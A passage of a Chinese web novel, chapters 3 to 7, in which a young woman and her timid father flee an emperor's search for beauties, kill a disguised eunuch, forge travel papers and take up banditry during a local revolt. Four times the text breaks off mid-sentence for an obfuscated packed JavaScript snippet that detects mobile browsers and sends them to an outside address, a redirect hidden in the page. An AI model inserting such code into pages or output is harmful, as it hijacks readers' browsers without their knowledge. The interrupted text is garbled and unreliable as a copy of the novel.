《我在乱世卷成王(基建)》 3. 第 3 章 夏文君一开口,刚刚还急得团团转的夏云林,就有了主心骨,情绪立刻平稳了下来。 “六娘做得对,那群狗东西玩阴的,咱们也不必讲什么君子之风。狗仗人势的东西,真当天下美人是后花园,看上哪个摘哪个。他们哪是替皇上选妃,是替自己选呢,那些年轻貌美的女子入了宫,还不知道要遭什么罪……” 他对宦官的怨念很大,对乡间普通的老人家,却是很尊敬的。 所以王二他们离开之前,夏云林又多嘴提醒了一句。 “下死手之前,还是得把人家裤子脱了,验验身再动手。万一是我们认错了,咱们就赔钱道歉。” “行事鬼祟,装成货郎,手上连个老茧都没有,身上的肉比您还嫩。哪怕不是宦官,也是山上下来村里踩点的强盗土匪。” 夏文君吐槽了两句,但还是对王二说道:“听我父亲的。若真是我们认错了,就说是木雕没打磨好,割伤了我,才给他个教训。宦官的事情一概不提。” “小的明白了。”王二朝夏文君双手抱拳行了个礼,就神色严肃的带着几个护卫办事去。 要真道歉,那就是护卫唱白脸,夏文君他们唱红脸。锅让护卫背,赔偿他们亲自去做。 所以看着王二四人离开,夏文君他们的车马就等在原地没动,要是需要补刀或是道歉,夏文君他们还能帮着扫尾。 “你这新招揽的几个护卫能不能行?靠得住吗?见过血没有,敢杀人吗?” 夏文君一脸淡定,“靠得住,他们的家人都在我的农庄干活。反正他们杀猪很厉害。” 至于敢不敢杀人,夏文君确信,他们是敢的。如果那货郎真是宦官假扮的,强烈的危机感,会逼着他们动手。 就像现在的她一样。 明明她受过九年义务教育,觉得自己的思想正得发邪,但现在她脑海里唯一的想法,居然是杀人灭口。 那货郎只是普通太监,没有功夫在身,被王二几人擒住,根本就来不及呼救,只感觉屁股吹来一阵凉风,下一秒,他就命断黄泉。 现有的辛福生活会被毁于一旦的恐慌,让四个护卫来不及思考,第一反应就是动手。 听到咔嚓一声,确定这太监的脖子被扭断,王二才收回自己的手,对身边的兄弟骂骂咧咧。 “你干什么,怎么拿刀的,差点割到我的手。” “不好意思啊二哥,刚刚没反应过来,只想着给这死太监捅刀子了,没料到你的手比我快。” 第一次干这种杀人截货的勾当,四人都不太熟练。但做了护卫,以后要在外行走,哪有不见血的。 王二拿帕子把手擦干净,冷静的说道:“你们几个先搜身,查一下他带的东西,查完就把尸体处理了。我去给主子说明情况,主子还等着呢。” 猜想被证实,夏云林破口大骂,虽然没指名道姓,但都知道他在骂皇帝呢。 “就这种荒淫无度,醉生梦死的东西,也配坐在那个高台上……” 夏文君觉得,自己要是坐在那最高位上,估计也能做出指鹿为马,挥金如土,夜夜笙歌的事。因为当初她做社畜的时候,看到‘如何升更高的职,捞更多的钱’之类的视频,她都要加入收藏夹,反复观看。 但做人主打一个双标,现在她是底下被欺压的那个小喽喽,果断和夏云林统一战线,在心底扎皇帝的小人。 等骂够了,夏云林才说道:“我们得回去通知你大伯一声,让族中的人有个防备。” “保险起见,父亲您还是别回去了。免得有人怀疑到我们身上。”夏文君建议道:“您写个手书,让我的侍女琉璃和王二送回去,明日她们再追上来就是了。” 哪怕是写信,也不敢写什么敏感的信息,怕给夏家招来灾祸。 夏云林在信上就写了两句话,“兄长,昨晚我与你商议之事,已经确认无疑。” 他的信,主要是让人看字迹,为王二传的话做担保,跟夏文君派出的侍女作用一样。 想到平安郡中可能已经有许多太监在搜罗美人,夏文君从马车里拿出一瓶深色的脂膏,递给琉璃。 “你拿去抹脸。回去和守家的珍珠说,给王二他们四人家中,各送十贯钱。” 刚办完事,奖励就下来了,王二的嘴角压都压不住。他们算是跟对人了。 等琉璃和王二回去报信,夏文君他们这群人就慢悠悠的继续往前赶路。不过这次夏文君小心了许多,也把自己的脸涂黑,眉毛画粗。 之前没把皇帝搜罗美人的事放心上,觉得皇帝还离得远,会不会到平安郡也不一定,夏文君就只是简单的换个男装,不打扮而已,现在她直接扮丑。 谁叫那皇帝这么会玩,老早就派出太监替他找美人了。 夏家在本地经营多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128031|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,有了防备,很快就察觉到了其他不对劲的地方。 琉璃跟王二追上来的时候,就说道:“我们回去之后,族长连夜召集族人商议。发现这两天,除了货郎,城中还出现了好些生面孔的卖水翁、卖炭翁。” 那些太监,只往小户人家里聚集的街道钻,并不惹人注意。 夏家只一个小娘子出门游学,还能说是夏云林胆子小,被好友说的事吓到。夏家适龄的小娘子都跑路,那就不好交代了。 为了搅浑水,夏家果断出手,把那群宦官的行径,偷偷散播了出去。 刚听说这个消息的时候,信的人不多。因为平安郡不在皇帝南巡的路线规划上,大部分人都半信半疑。 他们平安郡一贯老实,每年给朝廷的税收,按时上缴,这两年也没出什么揭竿而起的民乱,皇帝不至于特意拐个弯,来给平安郡紧皮。 可夏家的人跑得太快了。 消息传播开来的第二天,夏家的年轻小娘子们就跑路了,有去舅家探亲的,有跟着父兄去游学的…… “捕风捉影的消息,也能把夏家吓成这样。窝囊死他们算了。” “不就是女儿生得好嘛。夏云林也太小心了一点。” 夏家一跑,夏云林的那群纨绔好友们,不管信不信,为了保险起见,蛐蛐完夏家,也跟着跑。 他们当初都是跟着夏云林一起吃瓜的一员,背后骂了半天皇帝的荒淫无度,草菅人命,对皇帝的行事作风,都有点怂。反正也就躲这两个月,风头过了就能回家。 等过了几天,有了许多当地居民的现身说法,证实那些新来的货郎和卖炭翁不对劲,宦官正在搜罗美人的消息,就发酵到全城皆知了。 平安郡的人,家中女儿姿色还不错的,都恐慌的收拾东西外出避难。 哪怕世家也是如此,不是顶级的存在,不敢单独跟皇室叫板,普通百姓就更不用说了。 夏文君他们一伙人慢悠悠的赶了几天路,刚走出平安郡的地界,就被一群快马加鞭的人赶超了。 “速度这么快?不颠吗?” 刚开始夏文君惊讶大家跑路的速度,到后面,她更惊讶于跑路的人数。 “这么多人,难道有条件的都跑了?” 夏云林一副理所当然的态度,回答道:“众所周知,我们平安郡,惹不起任何人。除了跑,没其他办法。” 4. 第 4 章 平安郡的行事风格,早已形成。窝囊的百姓,窝囊的官,窝囊到一堆去了。 被戳破伪装的太监们,就算来的人不多,也敢对郡守发火。 “你们平安郡如此行事,完全不把陛下放在心上,等陛下来了,我看大人您如何交代……” 郡守也是个好脾气的,面对嚣张的宦官,他咬着牙忍了。 不然咋滴,把这群太监宰了,揭竿而起?也不看看他们平安郡什么档次,打得过谁?转头朝廷一派兵,他就得身首异处。 郡守不敢得罪皇上的人,也不敢得罪本地的家族。 无论那群太监再怎么叫嚣,他都任由郡中的女子出逃,混在中间和稀泥。 “没办法,拦不住啊。要早知道陛下的打算,我们府衙的官员,就不会在那群人的过所文书上盖章,这章都盖了,人都走了……” 平安郡的人东南西北各处窜,那群太监的缺德行为,立马就被传开。 “我还奇怪呢,这群死太监是怎么搜罗出这么多美人的,我在当地为官这么多年,都没见过那么多美人。没想到他们居然提前那么长时间,就开始替皇上张罗,倒是一片忠心,呵呵!” 朝中官员倒是上了折子,请求皇上处置这群宦官。 但皇上根本就不理,那群太监是替他办事的,他怎么可能处置自己的心腹。 他不动手,自然有人动手。 家中女儿已经被带走的人,心里虽恨,但也认命了。最惶恐,最忐忑的,是头上的剑还未落下的那群人。 “都怪我没有防备,几天前,我贪便宜,买了那个眼生货郎的东西,现在想来,那货郎,不会是个死太监吧。” “这可怎生是好。听说那昏君,不仅爱美人,爱少妇,还爱美男子。” 信息扩散的过程中,会慢慢变形。 皇帝原本搜罗的是年轻的小美人,传到普通百姓口中,就成了不管男女,好看的他都爱。 到后面就成了,皇上搜罗那么多人进宫,是因为他一天要睡十几人,睡完就杀,有的还是虐杀。 自家儿子和女儿那么可爱!都有可能会被盯上。 与平安郡的窝囊人不同,其他地方的百姓,还有点血性。 夏文君他们刚到达隔壁银江郡的郡城,从书铺问完纸价出来,就听到街上一阵骚乱。 “怎么了?怎么那么多人往那儿走?”夏云林薅住一个路人就问。 “那巷子里发现了一具死尸,还是个太监的,不知道是被谁扔那儿的。干那些缺德事,活该遭报应。”说完,路人就挣脱夏云林的手,小跑着离开。他还要回去通知家里人来瞧热闹。 夏云林一听,脑子还没反应过来,脚就先迈出去了。 “爹!”夏文君赶紧扯住他的肩膀,无奈道:“都什么时候了,你还去看这种热闹。我们还是赶紧离开吧。” 他们也在荒郊野岭解决了一个太监,想起来还怪心虚的。 夏云林讪讪一笑,“我不过去,就站在这里看。等衙役过来把尸体带走,我们就离开,行吧?” 真不让他知道结果,他得惦记好几天,夏文君只能妥协,陪着站在书铺门口,远远的看着。 但群众的愤怒,远远超乎夏云林的想象。还等不到衙役来收尸,围观群众里,就有人开始用烂菜叶和石头砸尸体泄愤。 那么多人,一人砸一块石头,那太监的尸体,也会被砸到面目全非。 祸害那么多小娘子,这群太监罪有应得,夏文君一点也不同情他们,只是觉得,现在这情况有点不对劲。 这么多人,这么激动的情绪,太容易出事。 “不能在这儿待了,先回客栈。”夏文君一锤定音。 夏云林可太能看懂氛围了,这下也怂了,“对对对,赶紧走。” 一行人回到客栈,没过多久,客栈掌柜就把大门关了,挨个通知客栈里的顾客。 “客官,外头有些乱,如果没有要事,就别出去了。有什么想买的东西,可以跟小二说,让他帮忙跑腿。” 本地人熟悉街道,哪怕遇上事儿了,跑路也比夏文君他们这群外地人快。 那群聚集起来的群众,先是毁了那个太监的尸体,但这还不够宣泄他们内心的愤怒。很快,这一群人就冲到府衙,和府兵起了冲突。 府兵有刀,但人少。见了血,反倒激起了大家的血性,一群人直接把府兵杀了,把府衙烧了,然后开始蹿逃。 银江郡有驻军,等驻军反应过来,闹事的人就完了。一群人泄愤完冷静下来,没一个人敢占领府衙顺势造反,都开始逃。 透过窗边,看到那冲天的大火,还有混乱的街道,夏文君都气笑了。 “这世道真不是人待的。家里不能待就算了,一出门,三步一个小麻烦,五步一个大麻烦。” 夏云林安抚道:“也是这两年收成不好,普通百姓的日子不好过。不然也不会因为这事闹起来。说不定过两年就好了。” 客栈里大多都是过路人,见城里出了事,都老老实实的窝在房间里,不敢出去。 到了傍晚,一群官兵就出现了,开始挨家挨户的敲门搜查。 他们的客栈也不能幸免,但客栈背后有人,且这客栈的价位不低,能住进来的人都有点小钱,所以官兵敲门的动静,比敲普通民户斯文。 “夏云林,男,家住平安郡玉竹街,年三十七,此去京都游学,同行者有女夏文君,年十四,奴婢六人,名叫王二,年十九,琉璃,年十八……还带有马车三辆,马五岁,花色……” 这过所文书,是他们离开那天,夏云林一大早派管家去盖的章。他们那条街的理正是夏家人,户曹也是说得上话的熟人,一炷香的时间,管家就把手续跑完。 最近平安郡负责盖章的官吏,手都盖酸了。 搜查的官兵,看了看文书上的大印,看到平安郡的字眼,再看一眼双颧高凸,两颊凹陷,眉间有黑痣的夏文君,嘴角忍不住抽了抽。他知道夏文君他们是为了逃避皇帝选妃,但他不知道,长成这样,有啥好跑的。 今天搜查客栈,遇上了不少平安郡跑出来的人。确认夏文君他们的人数,和过所文书上一样,官兵就放过他们,继续搜查下一位。 搜完客栈,官兵直接拖走了三个人。因为他们没有身份证明。 好歹是收了钱的,掌柜的赶紧出来说好话,“官爷,这三位客官下午一直在客栈里,未曾出去闹事。” 被抓的三人赶紧替自己解释。 “我是本地的,只是进城采买东西,没有闹事。” “我家就在……” 有那么多人作证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128032|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,搜查的官兵当然知道这三人没有问题,但依旧不放人。 要是这么简单就把人放了,他们还怎么捞银子? “郡守吩咐了,可疑人员都要抓进大牢,先审过再说。要是没问题,村里的理正,自然会来领你们出去。” 至于没银子,捞不动的普通家庭,被抓进去的人,能不能活着出来,就只能看运气了。 眼睁睁看着官兵把人带着,夏文君忍不住转头对夏云林说道:“父亲,看到了吧。没有话语权的人,在这世道,就是案板上的鱼肉,任人宰割。” “不用你说,我知道。”夏云林抬头看天。他知晓世道艰难,也知晓自己的平庸。这两者并不冲突。 谁不想为官做宰?他做不到啊。 年轻的时候他还去过京城,参与过官员选拔的考试,实力不够,没考中。想走举荐做官的路子,又没有靠山。参与本地文人的聚会,为自己搞点名气,已经是他最后的挣扎了。 怕再听到劝学的内容,夏云林赶紧说道:“快去洗把脸休息吧。明早我们早点出城,赶紧离开这个是非之地。” “不洗脸了。把脸化成这样不容易,半夜要是有意外,来不及弄。” 晚上这一觉,夏文君睡得并不踏实,总觉得事情不会这么快结束。 果然,第二天一早,还在吃早饭,客栈小二就说道:“贼人还没抓完,城门暂时还得关两天。” “该跑的放完火就跑出去了,这时候关城门有什么用。”夏云林气得狠狠的咬了一口肉,自我安慰道:“不过现在城里的官兵多,还算安全。多等两天就多等两天吧,咱们又不赶时间。” 甚至等城门开了,夏文君他们都还不急着走。 夏云林出去打探完消息,回来就木着一张脸,“闺女,一个好消息,一个坏消息,你想先听哪个。” “好消息。” “好消息是,皇帝遇刺重伤,准备回京都大本营,不会来我们平安郡了。” 听到这事儿,夏文君的嘴角压都压不住,“活该,怎么没被刺死。那坏消息呢。” “坏消息是,不出你所料,那群蹿逃的人,已经缓过劲来,开始搞事了。银江郡外的山头出现了很多乱民,路上不太平。无论是去京都还是回平安郡,路上都危险。” 出来的时候还好好的,回不去了! 夏云林的笑容有点崩溃,“等吧,等朝廷派官兵,把这民乱平了就好。” 可能是平安郡人的底色吧,遇事的第一想法,就是先苟,苟着苟着说不定就有转机了。 “皇帝遇刺重伤,他都自顾不暇了,要平乱至少得花半年一年的时间,难道我们就在这里等结果?”夏文君提醒,“万一中途乱民攻进城来,也不是没有可能。” 听到夏文君这么说,夏云林又急了,“那如何是好?乱民人多势众,我们又打不过,怎么走?” “打不过?打不过就加入啊!” 夏云林震惊的瞪大双眼。 夏文君理所当然的说道:“我们这点人怎么回家?只要我们能混进去,然后做大做强。人手一多,进能发家致富,退能撤回平安郡。和留在银江郡城比起来,风险相差不大,但收益更大。为什么不赌一赌?” “你说话这口气,可不像平安郡的人啊。”夏云林的眼神飘忽。 5.第 5 章 知道夏云林是个怂的,夏文君也不为难他。 “爹您要是担心,就在城里等着。我出去闯一闯,不行的话,我再回来找您。”反正让夏文君什么都不做,在城里等结果,她做不到。 “那不行,我要照顾你。要是你出了事,我还好好的,你母亲不得劈了我啊。” 说到这里,夏云林又开始念叨了,“银江郡乱成这样,也不知道你母亲和大哥二哥怎么样了,什么时候能回去。” 夏文君无语的看夏云林一眼,“您还有空担心他们呢?要不还是先担心担心我们自己吧。他们回去得肯定比我们早,至少他们能绕路。我们才是悬着呢。” 但银江郡乱成了一锅粥,也不是没有好处。夏文君能趁乱喝一口。 这几天回城的商队,九成死伤过半,好不容易逃出一条命,都躲在城里,不敢出去。指望城内的驻军出去平乱,也不现实,吃空饷那么多年,驻军也就能守城,甚至守不守得住都不一定。 现在外头的乱民闹得正凶,朝廷也不知道时候派兵,指不定什么时候外面的乱民就打进城了。 心里有了主意,夏文君一点没耽搁,立马就去酒楼大厅和人打听具体情报。 “北上去京都?可别。好多乱民都闹着要去京都给那位一个教训,那边的路最难走。” “回平安郡啊?那条路也不太好走,路上多了好几拨拦路虎。红雀山,左沟山,柳树坡都有乱民的窝点,有时候在路上还能碰上不知道从哪儿窜出来的流民。” 出门在外,与人方便就是与自己方便。各路来的商队,都大方分享自己一路来的经历,企图找出一条安全的离开路线。 如果可以的话,大家还能搭伴一起走。 可惜,没有一条路是安全的。个人的力量渺小,还是得指望朝廷派兵。 说起这银江郡的乱象,众人就忍不住开始埋怨,一会儿埋怨皇帝昏庸,为了选妃,搞得民怨沸腾,一会儿埋怨银江郡的郡守,不给犯错的人改过的机会,逼得人造反,一会儿埋怨流民不是东西,一身反骨…… 但夏文君将心比心,她要是被通缉了,也得闹。 错事都已经做了,被官兵抓住是死路一条,还不如造反,把这银江郡搅成一团浑水,还有活命的机会。 分析完听到的情报,夏文君就回房,开始写假的过所文书。 夏云林就眼睁睁的看着,夏文君从盒子的暗格里掏出几个假章,“你?你!你这孩子!你出门怎么还带这个!” “啊?这不是出门必备的东西吗?”夏文君头也不抬的说道,“自己盖章,想去哪儿就去哪儿。” “亏你当初学刻章的时候,我还夸你雅致,结果你用来做这种俗事……” 夏文君抬头无语的看自家亲爹一眼。要是古代有变形计的话,她真想把夏云林送去改造一下。家境尚可的纨绔子弟,自出生以来就没吃过大苦,年轻的时候靠父母和大哥,成亲了靠娘子,这年纪了还是个傻白甜。 “爹,你再说,我就把你文书上的名字改成文铁柱。” “不行!”夏云林立马老实,“我不要叫铁柱,这名字太不文雅了。但为什么要姓文呢?” “不姓文,难道姓夏?谁拿真名去闯荡江湖啊。家里还有那么大片产业呢。” 主要是夏文君懒得给自己取新名,想叫文六,造假的是她,夏云林没有发言权,只能跟她姓,得了个新名,叫文林。 名字一换,文书一换,再把自己的行李处理好,换成了一些粮食和生活用品,夏文君当天下午就准备出城。 “这是回平安郡的路吧?”夏云林其实有点腿软,犹犹豫豫的问道:“要是路上遇上乱民,打不过怎么办啊?” 如果是他做主,他肯定就带人在郡城里苟着了,绝对不敢出城。可关键是他拗不过女儿啊,怕也得上。 “爹,我六岁就开始习武,寒暑不辍,我身上的剑,是大师铸造,锋利无匹。珊瑚和琉璃从小就跟着我,剑法都是我亲手教的。王二他们几个,也都是练家子,再加上赵管家身手也不错,小股的流民打不过我们。”夏文君淡定的陈述事实。 本来她还想加一下夏云林的战斗力,好歹是壮年男子,且会君子六艺,骑射都很不错。可她不知道夏云林的战斗力能发挥出几分,干脆就不加了。 “要早知道会有今天,我出门也不会就带一个人,该把家里的护卫小厮都带上。”夏云林心里悔啊。 他心里紧张得不行,嘴上就忍不住念叨,“今天出城还是莽撞了点,换了身衣服就出发了,我们应该占卜一下吉凶再行动的……” 一直找不到状态的夏云林,被夏文君大喊的一声‘打劫’吓得一下子就回了神。 “这这这,这出城还不到半天呢,咱就打劫上了? ” 夏云林人都傻了,他知道夏文君做事干脆利落,但没想到这么生猛。 他生的哪里是女儿,简直是祖宗! 心里虽然有不同的意见,夏云林还是抽出了腰间的刀,准备待会儿打起来,就冲到夏文君前面,把她护着。 他正给自己心里加油打气呢,被打劫的那个残破商队,根本就不敢和他们硬拼,一看他们手里的刀剑,立马四散开来逃命。 王二他们只趁乱抓住了两个人,其他人都跑了。 “六郎,就这两个看起来细皮嫩肉的,身上应该有点油水。” “壮士饶命,壮士饶命,我们商队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137520|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西都被抢光了,我们身上是真没钱了,您就绕我一命吧。” 夏文君打量了一眼两位俘虏的穿着,又看了一眼他们的手和牙齿,慢悠悠的威胁道:“拿买命钱。不然就把你杀喽。” 她一边冷笑着抽刀,一边偷偷打量两位俘虏的神色。 要真没钱,她也会放人,但在此之前,她要先演一演。 在刀尖抵到脖子,一滴血缓缓滚下的时候,一位俘虏就忍不住了,疾言厉色的质问道:“我也是辛苦讨生活的普通百姓,又不曾得罪你,难道没钱就该死吗?” “笑话,剑在我手里,你不死?难道我死?” 夏文君一点也不觉得愧疚,甚至还把剑往前递了一点。 坏事是她主动做的,要什么道德高点。真站在道德高点反击的时候,那就是她已经吃亏了。还是不要道德,主动当那个坏人更妙。 夏文君这么干,不像个正经人,但夏云林也没站出来阻止。他是个吃喝不愁的纨绔,但心里有数,钱是怎么来的。在这个世道,能活得滋润的,就没多少好人,不然也不会有这么多百姓失去自己的田地,食不果腹,被逼得引起民乱。夏家只是相对家风清正而已。 看夏文君这态度,那位俘虏立马变脸,也不谴责了,反倒在脸上露出来谄媚的笑,“有钱,有钱,壮士我在鞋底藏了钱。我给钱,求您放我一马。” 现在闹事的流民,是被生活逼反的。上次被抢,他摆出一副被生活压迫的样子,立马就得到了流民的同情,放了他一把。 夏文君不吃那套,他立刻老实给钱,乖巧得不行,生怕这伙人拿了钱,也不给他留下性命。 “行了行了,别拍马屁了。把钱放下,赶紧滚。”夏文君的态度嚣张得不像话。 夏云林站在管家身后,都不敢抬头看。 族中培养女子的力度和男子一样,都奔着同一个目标去的,那就是和世家联姻。一样的养法,也不知道他家怎么就出了个与众不同的,第一次做强盗也这么像样,一点也看不出生疏。 等打劫完毕,夏文君把剑擦干净收回剑鞘,夏云林才慢一拍的把剑放下。 “这就完事了?” “对啊。本来也不难。”夏文君吐槽道:“不管什么事,只要自己上手去做了,哪怕第一次做得不好,慢慢改,也能改好。父亲你就是说得太多,做得太少。” 夏云林小声嘟囔,“这有什么可骄傲的,咱们做的可是坏事。” “那又怎样?”夏文君总结了一下经验,说道:“还得继续往前走,这里扎寨不行。离郡城太近,抢不到大鱼,也招揽不到人手。” “在家里读书练武争第一就算了,你不会连这个都要争第一吧。” 6.第 6 章 夏文君撇嘴,她当土匪,难道是冲着当小喽喽去的?被人挥来喝去,那能有什么意思。 “你不会真冲着土匪老大去的吧?” 面对夏云林的担忧,夏文君理所当然的说道:“那咋啦?” “天塌了啊!”夏云林的表情崩溃,“我就觉得你高祖找的那个看风水的不行,阴宅没找对地方。如今家族落败也就算了,你还走上了歪路。” 夏文君发出灵魂拷问,“爹,你是不是太溺爱你自己了?祖坟都怪上了,就没怪过是自己没教好吗?” “你怎么能这么说我。我怪祖坟,也没怪过你啊。”夏云林委屈上了。 “那爹你人还怪好的嘞。” “那是当然。” 夏文君好笑的叹口气,为了安抚夏云林,把事情掰开了揉碎了给他解释。 “您放心,我不做第一,就是多收拢点人,能帮着我们回家。反正不管怎样,银江郡城是不能待的。爹您想想,城外跟着一起闹的乱民,是个什么情况,家中小有资产的,会跟着闹吗?您自己也知道,这两年收成不好,乱民手里估计没多少粮食。逼急了,他们难道不会打郡城的主意?” 这些年,就算皇帝昏庸,世道艰难,夏家这样的寒门,也从未想过揭竿而起。有吃有喝的,有什么可闹的啊? 真闹的,都是那些饿了肚子的。 她要是本地人,家族聚居在一起,安全有保障,肯定不会打上山做土匪的主意。可他们是过路人,在银江郡没有根基,一旦打起来,他们就是炮灰。 就他们这几个人,打起来都不够塞牙缝的,必须得招揽人手。 夏文君这些话,不单单是说给夏云林听的,是说给整个队伍听的。虽说王二他们的家人都在平安郡,肯定会听夏文君的指挥,但有危机感,能刺激大家的主动性。 反正都换了名字,改了造型,出事也连累不到家人,夏云林只能给自己做心里建设。 选好了安营的山头,安排夏云林去盯梢的时候,他就已经代入了角色,看到有人路过,就来给夏文君汇报情况。 “闺女,有几个老弱病残路过。这波人就不抢了吧,我下不去手啊。” “抢啊,怎么不抢,抢不了财物,就抢人,抢到山上来替我们壮壮声势!”夏文君恨铁不成钢的说道:“我们都出来两天了,一个小喽喽都还没招到呢。爹你别拖我后腿。” “行吧,你说抢就抢吧。”夏云林实在无话可说。自己的亲女儿,实在没办法谴责。 商队的人走南闯北,过于奸猾,夏文君不敢招揽,一个村一个姓的队伍,夏文君也不想招揽,怕不听指挥,这样的话,能选择的余地就太少了。 难得碰上合适的,老弱病残夏文君也不嫌弃。 夏文君招呼一声,几人就把脸抹花,带着刀下山。 “看吧,一个胡子花白的老头,一个脸上带黑疤的妇人,一个黄毛丫头,一个瘸腿小儿。行李也没两件,抢上山就是浪费粮食。”夏云林面带嫌弃。 “来都来了。” 因为要打劫的对象太弱,王二那声‘打劫’都喊得有气无力的。 “打劫?打劫我们?”那位白胡子老头,伸出手指,不敢置信的指向自己,眼神仿佛在问,有没有搞错啊?连我们你都打劫,疯了吗? 那位脸上带黑疤的妇人,更是拿出个破碗,可怜兮兮的表示:“壮士,我们身上什么都没有,一路靠要饭过来的。” 这种自力更生的坚强模样,还挺让人有好感的。 夏文君放柔了语气,“没钱也没关系,跟我上山,替我们寨子干杂活,我们给你管饭。就当是做好事了。” 听到夏文君的抢人打算,老弱病残四人组,人都傻了。 两边的人面面相觑,场面一下子僵持住了。 “赶紧的,等什么呢!”夏文君扬了扬下巴,指使王二去搜身、绑人,带人上山。 王二还没靠近,那黑疤妇人就赶紧往后退,“别过来,别过来啊。” 她一边说,一边从衣领里掏出一个哨子,快速的吹响。 夏文君听到这动静,脸色一黑,立刻拔刀向前,不等这老弱病残四人组反抗,就一人一脚,把人踹倒在地。王二他们赶紧上手,利索的把人摁住绑起来。 哨声刚停,远处林子里,就蹿出来一队人,一共二十人,都是年轻小伙,每个人手上都拿着锄头、镰刀或者木棍。 “放了我爷爷。”“放开我娘。”“把我儿子还回来。” 看到这情况,夏文君都气笑了,“好家伙,钓鱼钓到我身上来了?” “没想找你们,是你们自己找上来的。”黑疤妇人气愤的替自己解释,“你要不抢人,我也不会吹哨子。” 双方都没憋好屁,坏到一起去了。 “这世上还真是坏人多啊。”夏文君磨牙,提着刀就准备冲在最前面。 自己这边的人常年练武,刀剑娴熟,对方是没有经受过训练,临时拿起武器的农民。哪怕对方人多一点,夏文君也没把他们当回事。 一阵鬼哭狼嚎过后,对面那二十个年轻小伙子,都被撂倒。 “啊啊啊!嗷嗷嗷!呜呜呜!”一群人被绑在一堆,不是捂肚子,就是揉胳膊按腿,都被伤得不轻。 “我的刀都没见血,别发出这种上不得台面的声音。再闹,把你们嘴巴堵了。” 夏文君踹了叫得最凶的那个小伙一脚,嫌弃道:“就你们这三脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151648|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫的水平,也敢出来在道上混。” 她敢出来,是因为她练过。这伙拿着锄头乱锄的人,也不知道哪来的勇气。 “壮士您行行好,就饶了我们吧。您是个好人,您别和我们计较。”那位黑疤妇人求饶道:“老家那边实在是活不下去了,今年秋收的时候,我儿子他们打了收税的官吏,一直躲山里,听说这边有人造反,这才投奔来了。” 银江郡的人苦朝廷久矣,听说郡城这么有反贼闹起来了,哪怕没有领头人安排,周边的县城也乱了,还有很多人到处乱窜,企图找组织,一起造反给朝廷添乱。 种地的良民都干上打劫的勾当了,哪里都能出现盗匪,商队想平安进出银江郡,无异于痴人说梦。 “我也不管你们为什么抢我,但既然对我动了手,就不可能没有代价。” “壮士,我们是真没钱!你也看到了,我们这实力,饿得都快没力气了,哪来的钱。” 夏文君挥手,无赖的说道:“我不管这些。看你们还算义气,没有谁丢下队友逃跑,我才留你们一命,要是再讨价还价,我可就动真格的了。” 她这么一说,王二立刻就拔刀,眼神杀气腾腾的威胁。 这下也没人敢求饶了。 等人都安静下来,夏文君才慢悠悠的说道:“你们没钱也没关系。加入我的队伍,跟我一起打劫。现在一个人值五十贯钱,赚够了双倍,我就放你们离开。或者给我抓双倍的俘虏,我也还你们自由。” “好!”黑疤妇人答应得干脆。 夏文君笑着看她一眼,“交易完成之前,你们老弱病残四个人,脚上会被绑铁链。钱不还完,我就不会给你们解开锁头。” 因为这群人有血缘关系,讲义气,夏文君才会捏住这四个弱的做筹码。不然的话,她根本就不会留下这二十个壮小伙,不好使唤。 只要能保住小命,其他都是虚的,听到夏文君提出的条件,黑疤妇人立刻就点头答应。 “行,你绑吧,我们没意见。” 显然她也是个拿主意的人,她说话,其他人都没反驳。 “好,我就欣赏你们这种干脆的人。”说完夏文君就吩咐道:“琉璃,把人带走,上锁链。” 黑疤妇人老老实实的任由摆弄,一点也不挣扎,轮到两个小孩的时候,她却忍不住出声。 “壮士,我们家这俩孩子可机灵了,有那种拿不准的情况,您可以让他俩去探路,绑着他们太可惜了。” 不提这个还好,一提这个,夏文君就忍不住冷笑一声。 “还是别了,万一又碰上我这样的‘好心人’呢。你们都赔了夫人又折兵,还没长记性啊?” 黑疤妇人被噎得没话说。 7.第 7 章 夏文君倒是能明白那黑疤妇人的想法,觉得自己被绑了无所谓,甚至死了都无所谓,但孩子不一样,想让孩子多点生的机会。 